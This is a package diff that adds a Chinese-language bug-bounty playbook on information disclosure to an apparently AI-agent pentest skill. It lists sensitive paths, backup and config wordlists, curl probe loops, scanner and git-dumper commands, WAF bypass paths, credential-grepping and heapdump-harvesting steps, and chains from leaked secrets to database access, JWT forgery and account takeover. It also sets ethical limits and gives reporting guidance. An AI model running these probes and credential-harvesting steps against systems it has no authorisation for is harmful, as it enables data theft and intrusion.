opencode-skills-collection 4.0.43 → 4.0.45

package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md

@@ -0,0 +1,432 @@
+# 信息泄露 / 敏感文件 / 备份
+
+> 视角：黑盒，主动探测路径 + 被动收集前端线索
+
+## 1. 一句话说清
+
+信息泄露 = 服务暴露了不该暴露的资产（源码、配置、密钥、凭据、PII）。
+SRC 关注：**链路终点**——一个 `.git` 泄露能直接拿数据库密码 → 提升为 P0。
+WooYun 7,337 案例中 **48.7% 是敏感信息泄露**，**40% 涉及凭证 / 数据库**。
+
+---
+
+## 2. 高频入口点（按命中率排序）
+
+### 2.1 版本控制泄露（560 案例）
+
+| 路径 | 含义 | 利用工具 |
+|------|------|---------|
+| `/.git/config` | Git 配置（含 remote 地址） | GitHack、git-dumper、dvcs-ripper |
+| `/.git/HEAD` | 当前分支 | 同上 |
+| `/.git/index` | 暂存区索引 | 同上 |
+| `/.git/logs/HEAD` | 操作日志 | 同上 |
+| `/.git/objects/` | 对象存储 | 同上 |
+| `/.svn/entries` | SVN ≤1.6 入口（**393 例高频**） | svn-extractor |
+| `/.svn/wc.db` | SVN 1.7+ SQLite | sqlite3 wc.db |
+| `/.svn/all-wcprops` | SVN 工作副本属性 | - |
+| `/.svn/pristine/` | 原始文件 | - |
+| `/.hg/` | Mercurial | dvcs-ripper |
+| `/.bzr/` | Bazaar | dvcs-ripper |
+| `/CVS/Entries` | CVS | - |
+
+### 2.2 备份文件（565 案例，命中率最高）
+
+```
+# 压缩包（530 例命中）
+/wwwroot.rar    /wwwroot.zip    /wwwroot.tar.gz
+/www.rar        /www.zip        /www.tar.gz
+/web.rar        /web.zip        /web.tar.gz
+/site.rar       /site.zip       /site.tar.gz
+/backup.zip     /backup.tar.gz
+/{域名}.zip     /{域名}.rar     /{域名}.tar.gz   # 例：example.com.zip
+/{IP}.zip                                          # 例：1.2.3.4.zip
+/{年份}.zip / /backup_2024.zip / /old_2023.zip
+
+# SQL（136 例命中）
+/backup.sql     /database.sql   /db.sql   /dump.sql
+/{库名}.sql     /data.sql       /sql.txt
+
+# 配置备份（101 例命中）
+/config.php.bak       /config.php~
+/config.php.swp       /.config.php.swp
+/config_global.php.bak
+/uc_server/data/config.inc.php.bak
+/web.config.bak       /.env.bak
+/database.yml.bak
+
+# 编辑器临时文件
+/index.php.swp        /.index.php.swp
+/index.php~           /.index.php~
+/.DS_Store            /Thumbs.db
+```
+
+### 2.3 配置文件（明文暴露）
+
+```
+# Java/Spring
+/WEB-INF/web.xml
+/WEB-INF/applicationContext.xml
+/WEB-INF/classes/application.properties
+/WEB-INF/classes/jdbc.properties
+/WEB-INF/classes/database.yml
+/WEB-INF/classes/hibernate.cfg.xml
+/application.yml          /application-prod.yml
+/bootstrap.yml
+
+# PHP
+/config.php               /config/config.php
+/include/config.php       /data/config.php
+/conf/config.inc.php      /application/config/database.php
+
+# .NET
+/web.config               /App_Data/   /bin/
+/connectionStrings.config
+
+# 现代框架
+/.env                     /.env.local   /.env.production
+/.env.development         /.env.staging
+/config.json              /settings.py
+/appsettings.json         /appsettings.Production.json
+
+# 容器 / k8s
+/docker-compose.yml       /docker-compose.yaml
+/Dockerfile
+/.kube/config
+```
+
+### 2.4 探针文件（47+34+38 命中）
+
+```
+/phpinfo.php   /info.php   /test.php   /1.php   /i.php   /t.php
+/probe.php     /debug.php
+/test.jsp      /info.jsp
+/server-status   /server-info     # Apache mod_status
+/jolokia/list                     # JMX
+```
+
+### 2.5 日志（23+ 命中）
+
+```
+/ctp.log                  # 致远 OA 高频
+/logs/ctp.log
+/debug.log    /error.log    /access.log    /application.log
+/runtime/logs/            # ThinkPHP
+/storage/logs/            # Laravel
+/var/log/                 # 偶尔被映射到 web 根
+/WEB-INF/logs/
+/_catalina.out
+```
+
+### 2.6 数据库管理面（46 命中）
+
+```
+/phpmyadmin/   /phpMyAdmin/   /pma/   /myadmin/   /mysql/
+/adminer.php   /adminer/
+```
+
+### 2.7 OSS / S3 Bucket（云时代新热门）
+
+```
+# AWS S3
+https://{bucket}.s3.amazonaws.com/
+https://{bucket}.s3.{region}.amazonaws.com/
+https://s3.amazonaws.com/{bucket}/
+
+# 阿里云 OSS
+https://{bucket}.oss-{region}.aliyuncs.com/
+
+# 腾讯云 COS
+https://{bucket}.cos.{region}.myqcloud.com/
+
+# 列出对象（公开 bucket）
+?list-type=2
+?prefix=&delimiter=/
+```
+
+工具：`s3scanner`、`gobuster s3`、`oss-attack`。
+
+---
+
+## 3. 探测手法
+
+### 3.1 一行命令探测
+
+```bash
+# 版本控制
+for p in .git/config .git/HEAD .svn/entries .svn/wc.db .hg/store; do
+  curl -s -o /dev/null -w "%{http_code} $p\n" https://target/$p
+done
+
+# 备份文件
+for ext in zip rar tar.gz sql bak; do
+  for name in www web site backup wwwroot data; do
+    curl -s -o /dev/null -w "%{http_code} /$name.$ext\n" https://target/$name.$ext
+  done
+done
+
+# 域名 / 子域备份
+DOMAIN=$(echo target.com | sed 's/\./ /g' | awk '{print $1}')
+curl -s -o /dev/null -w "%{http_code} /$DOMAIN.zip\n" https://target/$DOMAIN.zip
+```
+
+### 3.2 自动化扫描
+
+```bash
+# dirsearch / ffuf 配合敏感字典
+dirsearch -u https://target/ -e php,jsp,asp,bak,zip,rar,sql -w wordlists/sensitive.txt
+ffuf -u https://target/FUZZ -w sensitive-paths.txt -mc 200,301 -fc 404
+
+# 专用工具
+nuclei -u https://target -t exposures/
+
+# .git 自动还原
+git-dumper https://target/.git/ ./loot/
+GitHack https://target/.git/
+```
+
+### 3.3 Google Hacking 字典
+
+```
+site:target.com filetype:sql
+site:target.com filetype:bak
+site:target.com filetype:env
+site:target.com filetype:log
+site:target.com inurl:.git
+site:target.com inurl:.svn
+site:target.com intitle:"index of" .git
+site:target.com inurl:phpinfo
+site:target.com "db_password"
+site:target.com "mysql_connect"
+inurl:wp-config.php.bak
+
+# Github / Gitee 关键字泄露
+"target.com" password
+"@target.com" filename:.env
+```
+
+### 3.4 被动信息（前端线索）
+
+| 来源 | 找什么 |
+|------|------|
+| HTML 注释 | `<!-- TODO: 上线前删 admin/admin -->` |
+| JS 文件 | `apiKey =`、`SECRET_KEY =`、`token =`、`/api/internal/` 路径 |
+| Source map | 站点是否暴露 `.map` 文件，可还原原始 TS/SCSS |
+| 响应头 | `X-Powered-By`、`Server`、`X-AspNet-Version`、`X-DNS-Prefetch-Control` |
+| robots.txt | `Disallow: /admin/` 暴露管理路径 |
+| sitemap.xml | 暴露非链接的 URL |
+| crossdomain.xml / clientaccesspolicy.xml | Flash/Silverlight 跨域配置 |
+| `.well-known/security.txt` | 联系方式 |
+| `.well-known/openid-configuration` | OAuth 配置（可看到 jwks_uri） |
+| Wayback Machine | 历史页面可能暴露已删除的接口 |
+
+### 3.5 错误页触发字典（让目标"主动报错"）
+
+```
+?id=1'              → SQL 错误（暴露数据库类型 + 路径）
+?id[]=1             → 类型错误（PHP/Java 报 stack trace）
+?file=              → 空值导致路径泄露
+?xml=<a/>           → XML 解析错误
+/exists.php?p=null  → 看堆栈
+```
+
+---
+
+## 4. Bypass 矩阵
+
+| 拦截 | 绕过 |
+|------|------|
+| `.git` 路径被 nginx 拦 | `.GIT/`、`.GiT/`、`%2egit/`、`/x/../.git/`、`//.git/` |
+| `.env` 拦 | `/static/../.env`、`/uploads/.env`、`/.env%20`、`/.env.bak` |
+| 备份文件后缀拦 | `.bak.bak`、`.swp` 而非 `.bak`、URL encode 后缀 |
+| Cloudflare 拦 | 找 origin IP（绕过 CDN，详见 `ssrf-cache-host.md`） |
+| 文件名混淆 | 时间戳：`/backup_$(date +%Y%m%d).zip`、`/2024-01-15.sql` |
+| 大小写 | `/Backup.ZIP`、`/Config.PHP.BAK` |
+
+---
+
+## 5. 利用提权 / 横向（链路放大）
+
+### 5.1 .git → 全部源码 → DB 密码
+
+```bash
+# 1. dump
+git-dumper https://target/.git/ ./loot/
+cd loot && git log --all
+git show <commit>:config.php
+
+# 2. 找凭据
+grep -rE "(password|secret|apikey|token|jdbc:|mysql://|redis://)" .
+
+# 3. 直连
+mysql -h db.internal -u root -p
+```
+
+参考案例：wooyun-2015-0125565（阡陌金融 .git → 数据库密码）。
+
+### 5.2 .env → S3 / Stripe / SMTP 接管
+
+```
+.env 常含：
+  AWS_ACCESS_KEY_ID=AKIA...
+  AWS_SECRET_ACCESS_KEY=...
+  STRIPE_SECRET_KEY=sk_live_...
+  SENDGRID_API_KEY=SG....
+  TWILIO_AUTH_TOKEN=...
+  JWT_SECRET=...
+  DATABASE_URL=postgres://user:pass@host/db
+
+→ AWS：aws s3 ls / aws sts get-caller-identity（不要做删除/创建动作）
+→ JWT secret：本地伪造任意用户 token
+→ DB：连接读 schema 即可，禁导出
+```
+
+### 5.3 Heapdump → JVM 内存里的密码
+
+```bash
+curl http://target/actuator/heapdump -o heap.bin
+strings heap.bin | grep -iE "(password|secret|jdbc|jwt|redis|aws)" | sort -u
+# 或用 MAT、jhat 分析
+```
+
+### 5.4 Swagger / API docs → 隐藏端点
+
+```
+/swagger-ui.html 显示完整 API 列表，包括：
+  /api/internal/admin/users
+  /api/v2/secret-debug
+  /api/dev/dump
+攻击者基于这个列表全量打。
+```
+
+### 5.5 短信 / 邮件 / 支付 API 凭据 → 全用户接管
+
+```
+泄露的短信平台凭据 → 调用 /api/sendSms 看到所有用户验证码
+→ 用验证码重置任意用户密码 → 账户接管
+```
+
+参考：wooyun-2015-0128813（某零食电商短信接口）。
+
+---
+
+## 6. 真实案例指纹
+
+| 案例 ID | 类型 | 利用链 |
+|--------|------|------|
+| wooyun-2015-0123377 | 整站源码 zip | 源码→配置→数据库→提权 |
+| wooyun-2013-038850 | TOM SVN 泄露 | SVN→源码→SQL 注入 |
+| wooyun-2015-0120183 | log4net.xml/MongoDB 配置 | 配置→MongoDB→数据 |
+| wooyun-2015-0163955 | 黄金集团 Session 日志 | 后台→日志→Session 劫持 |
+| wooyun-2015-0128813 | 某零食电商短信 API | API→短信→账户接管 |
+| wooyun-2015-0125565 | 阡陌金融 .git | .git→数据库密码 |
+| wooyun-2014-049693 | 太平洋时尚网 .svn | .svn→目录遍历 |
+| wooyun-2014-085529 | hitao MongoDB 未授权 | Mongo→FTP→订单数据 |
+| wooyun-2015-0150430 | 某航空公司邮箱 | 邮箱→域密码→VPN |
+| wooyun-2013-039470 | 某电脑厂商 data.zip | 备份文件→数据库配置 |
+
+通用指纹：
+
+- **`/static/.git/HEAD` 200** + 内容 `ref: refs/heads/main` → 立即 dump
+- **`/.env` 返回 200 + Content-Type: text/plain** + 含 `=` → 配置泄露
+- **`/wwwroot.rar` Content-Length > 1MB** → 整站源码
+- **`/server-status` 含 `Apache Status` + IP 列表** → mod_status 暴露
+- **`/actuator/health` 200 + `{"status":"UP"}`** → 进一步探 actuator/env / heapdump
+- **`/swagger-ui.html` + 渲染出 API 列表** → 全量端点
+
+---
+
+## 7. 复现 / 证据要点
+
+### 7.1 报告必备
+
+1. 完整请求 URL（含协议）
+2. 响应状态码 + 关键 Header
+3. 响应体片段（**敏感数据必须脱敏**）
+4. 影响：根据泄露内容估算（密码 → DB → 用户数据）
+
+### 7.2 脱敏样式
+
+```
+原文（不要写进报告）：
+  spring.datasource.password=Mp4ssw0rd!
+
+报告（这样写）：
+  spring.datasource.password=M****d!（共 13 位）
+
+原文：
+  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxxxx... user@host
+
+报告：
+  ssh-rsa AAAAB3...（前 8 字符 + 后 8 字符 + 长度）user@host
+```
+
+### 7.3 CVSS 参考
+
+```
+.git 泄露源码                 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
+.env 泄露 prod 凭据           CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8（依赖凭据用途）
+phpinfo.php 暴露              CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3
+heapdump 含 DB 密码           = 9.8 Critical
+public S3 bucket 含 PII       = 7.5+
+```
+
+### 7.4 影响段写法
+
+```
+通过未授权访问 /.git/ 目录，攻击者可使用 git-dumper 工具完整恢复后端
+源代码（约 400 个 .java 文件）。源码中 src/main/resources/application-prod.yml
+明文存储以下凭据：
+1. 主数据库密码（mysql://prod-db:3306），可直读所有用户表；
+2. JWT 签名密钥，可伪造任意用户身份；
+3. AWS S3 Access Key，可读取存储桶中所有用户上传文件。
+
+我已停止于"读到 application-prod.yml 文件名"步骤，未尝试连接任何凭据。
+```
+
+---
+
+## 8. 不要做的事
+
+- **禁**：clone 完整源码到自己 GitHub / 公网仓库。本地保存，报告后删除。
+- **禁**：用泄露的 AWS / Stripe / SendGrid 凭据创建资源、发邮件、扣款。
+- **禁**：用泄露的 DB 凭据连接生产库导出数据。仅做"能 telnet 通端口 + 看到 DB banner"的最小验证。
+- **禁**：用泄露的短信 API 给真实手机号发短信。
+- **禁**：在报告中粘贴完整凭据。脱敏，附 sha256 指纹证明你拿到过。
+- **限**：扫描限速 1–5 rps；备份字典控制在 1000 条以内，避免触发风控。
+
+## H1 真实案例
+
+_共 319 份 HackerOne 已披露 High/Critical 报告命中本类，按 (赏金 + 投票×100) 排序取 Top 12_
+
+| Severity | $ | 程序 | 标题（点击看原报告） | 摘要 |
+|---|--:|---|---|---|
+| Critical | 50000 usd | Shopify | [Github access token exposure](https://hackerone.com/reports/1087489) | While dissecting an application made by one of your employees I found his GitHub Personal Access Token (PAT), he's a member of … |
+| High | 20000 usd | HackerOne | [Account takeover via leaked session cookie](https://hackerone.com/reports/745324) | Summary:** You are disclose for me you session Description:** you are gevi me your session on last report I am can use your ses… |
+| Critical | — | HackerOne | [Confidential data of users and limited metadata of programs and reports accessible via GraphQL](https://hackerone.com/reports/489146) | Summary:** The GraphQL endpoint doesn't have access controls implemented properly |
+| Critical | 25000 usd | HackerOne | [The /reports/:id.json endpoint discloses potentially sensitive user attributes when reporter summ…](https://hackerone.com/reports/3000510) | Hi The.json endpoint of any disclosed report is leaking reporter's email, OTP backup codes, reporter's phone number, "graphql_s… |
+| Critical | 39999 usd | Uber | [[Pre-Submission][H1-4420-2019] API access to Phabricator on code.uberinternal.com from leaked cer…](https://hackerone.com/reports/591813) | [Pre-Submission][H1-4420-2019] API access to Phabricator on code.uberinternal.com from leaked certificate in git repo |
+| High | 7500 usd | HackerOne | [Customer private program can disclose email any users through invited via username](https://hackerone.com/reports/807448) | Summary: Hey team,This bug could have been used by my calculations a long time ago Steps To Reproduce: 1)Go to https://hackeron… |
+| High | — | Uber | [Sensitive user information disclosure at bonjour.uber.com/marketplace/_rpc via the 'userUuid' par…](https://hackerone.com/reports/542340) | Sensitive user information disclosure at bonjour.uber.com/marketplace/_rpc via the 'userUuid' parameter |
+| High | 15000 usd | Snapchat | [Open prod Jenkins instance](https://hackerone.com/reports/231460) | Open prod Jenkins instance |
+| Critical | — | Snapchat | [Github Token Leaked publicly for https://github.sc-corp.net](https://hackerone.com/reports/396467) | Description : GitHub is a truly awesome service but it is unwise to put any sensitive data in code that is hosted on GitHub and… |
+| High | 10000 usd | Snapchat | [Access to multiple production Grafana dashboards](https://hackerone.com/reports/663628) | Access to multiple production Grafana dashboards |
+| High | 12500 usd | HackerOne | [An attacker can can view any hacker email via  /SaveCollaboratorsMutation operation name](https://hackerone.com/reports/2032716) | Summary:** An attacker can view any attacker or normal user email after send invitation via dummy report , disclose their priva… |
+| Critical | 10000 usd | GitLab | [gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be …](https://hackerone.com/reports/850447) | Summary Extracted from https://hackerone.com/reports/835455#activity-7672566 While testing and looking at the patch for the nug… |
+
+**命中本类的 weakness 分布：**
+
+- Information Disclosure：207 条
+- Cleartext Storage of Sensitive Information：22 条
+- Insecure Storage of Sensitive Information：22 条
+- Privacy Violation：15 条
+- Information Exposure Through Directory Listing：12 条
+- Insufficiently Protected Credentials：10 条
+- Uncategorized → 手工归类：6 条
+- Information Exposure Through Debug Information：5 条
+- Cleartext Transmission of Sensitive Information：5 条
+- Information Exposure Through Sent Data：4 条
+- Information Exposure Through an Error Message：3 条
+- Missing Encryption of Sensitive Data：3 条
+- File and Directory Information Exposure：2 条
+- Password in Configuration File：2 条
+- Inclusion of Sensitive Information in an Include File：1 条